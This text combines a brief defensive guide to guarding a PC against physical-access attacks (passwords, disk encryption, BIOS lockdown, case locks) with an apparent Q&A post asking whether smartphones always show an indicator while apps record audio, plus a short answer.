As security compromises of a PC go, physical access is perhaps by far the worst kind.  Once an attacker has their hands on your computer, most other security methods in place are easily circumvented.  That said, here's what you can do to prevent or hinder these attacks from affecting your system.

Use strong passwords.  Make them 15 characters long at minimum, and use all four character types (lowercase letters, uppercase letters, numbers, non-alphanumerics).  Also, avoid using any dictionary words in any part of the password.  Lastly, do not write it down!
Encrypt the hard drive.  This will prevent any attacker from reading or manipulating the system files when booting into their own environment.  This is the only measure that will generally survive an attack involving physical access to the system.  Also, see item 1.
Lock down the BIOS and Boot Order.  Set the system to only boot to the system drive, and set an Administrator password on the BIOS so that this cannot be changed.  Also, see item 1.
Physically secure the system case.  If possible, lock the system's chassis with a padlock and/or place it in a secured cabinet.  A chassis lock will hinder efforts to clear the BIOS password by using jumpers on the motherboard, and efforts to remove the hard drive for loading into another system.  A secured cabinet will do that, and also hinder any attempts at plugging in or loading alternative boot media.  For ideal security, and if you're really paranoid, do both.


Is there always a user notification when smartphones record audio? Background: With microphones being embedded in all sorts of consumer electronics, there is widespread concern that certain actors (e.g. device manufacturers, ecosystem providers, third-party apps) might exploit them to stealthily eavesdrop on users’ private conversations. Several scandals involving smart TVs, smart speakers and even connected toys have shown that these concerns are not completely unfounded.

Similar concerns have been raised about smartphones (see, for example, link1, link2, or link3). Therefore, I’m trying to find out how much transparency modern smartphones provide in that regard.

Question: In Android and iOS, after microphone access permission was granted by the user, is there always some visual indication on the screen while audio is being recorded by ...

third-party apps running in foreground
third-party apps running in background
system apps

If not, are there any notable counterexamples?

It's best practice to show when a device or application is actively listening, but it's by no means guaranteed. There's a lot of debate about which apps may or may not be listening - Facebook and Instagram, for example, come up a lot - but at the end of the day, clandestine recording is just that: clandestine. So, it's hard to know what's happening for sure.

By the way, I think this question might be a duplicate of another recent one. :)